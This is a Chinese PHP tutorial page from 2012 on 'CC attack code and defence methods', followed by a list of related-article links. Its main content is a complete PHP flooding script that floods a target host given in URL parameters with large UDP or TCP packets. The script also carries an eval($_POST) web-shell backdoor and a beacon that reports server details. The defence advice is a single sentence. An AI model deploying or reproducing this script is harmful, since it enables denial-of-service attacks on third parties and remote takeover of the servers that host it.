php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
PHP中查询SQL Server或Sybase时TEXT字段被截断的解决方法
Mar 10 PHP
php curl基本操作详解
Jul 23 PHP
修改apache配置文件去除thinkphp url中的index.php
Jan 17 PHP
C#使用PHP服务端的Web Service通信实例
Apr 08 PHP
php数组操作之键名比较与差集、交集赋值的方法
Nov 10 PHP
php实现两表合并成新表并且有序排列的方法
Dec 05 PHP
CodeIgniter与PHP5.6的兼容问题
Jul 16 PHP
抛弃 PHP 代价太高
Apr 26 PHP
yum命令安装php7和相关扩展
Jul 04 PHP
PHP中类属性与类静态变量的访问方法示例
Jul 13 PHP
php自定义函数br2nl实现将html中br换行符转换为文本输入中换行符的方法【与函数nl2br功能相反】
Feb 17 PHP
php获取给定日期相差天数的方法分析
Feb 20 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
php 动态多文件上传
2009/01/18 PHP
PHP 数据库树的遍历方法
2009/02/06 PHP
PHP5.5安装PHPRedis扩展及连接测试方法
2017/01/22 PHP
php使用PDO获取结果集的方法
2017/02/16 PHP
PHP获取路径和目录的方法总结【必看篇】
2017/03/04 PHP
javascript window.opener的用法分析
2010/04/07 Javascript
JavaScript跨平台的开源框架NativeScript
2015/03/24 Javascript
简单的JS控制button颜色随点击更改的实现方法
2017/04/17 Javascript
JS实现加载和读取XML文件的方法详解
2017/04/24 Javascript
angular 内存溢出的问题解决
2018/07/12 Javascript
JS使用百度地图API自动获取地址和经纬度操作示例
2019/04/16 Javascript
Vue表单之v-model绑定下拉列表功能
2019/05/14 Javascript
vue日历/日程提醒/html5本地缓存功能
2019/09/02 Javascript
js canvas实现俄罗斯方块
2020/10/11 Javascript
Python内置函数Type()函数一个有趣的用法
2015/02/18 Python
Python网络编程 Python套接字编程
2017/09/13 Python
Python实现的三层BP神经网络算法示例
2018/02/07 Python
Python实现快速排序的方法详解
2019/10/25 Python
Python中logging日志库实例详解
2020/02/19 Python
Staples加拿大官方网站:办公用品一站式采购
2016/09/25 全球购物
阿联酋网上花店:Ferns N Petals
2018/02/14 全球购物
美国精油公司:Plant Therapy
2019/05/17 全球购物
求高于平均分的学生学号及成绩
2016/09/01 面试题
淘宝网店营销策划书
2014/01/11 职场文书
酒店副总经理岗位职责范本
2014/02/04 职场文书
青年文明号创建承诺
2014/03/31 职场文书
幼儿教师寄语集锦
2014/04/03 职场文书
优秀大学生求职自荐信范文
2014/04/19 职场文书
《陈毅探母》教学反思
2014/05/01 职场文书
和睦家庭事迹
2014/05/14 职场文书
社会工作专业求职信
2014/07/15 职场文书
2014年政工师工作总结
2014/12/18 职场文书
税务会计岗位职责
2015/04/02 职场文书
2015年检验科工作总结
2015/04/27 职场文书
2015年全民创业工作总结
2015/07/23 职场文书
开业庆典致辞
2015/08/01 职场文书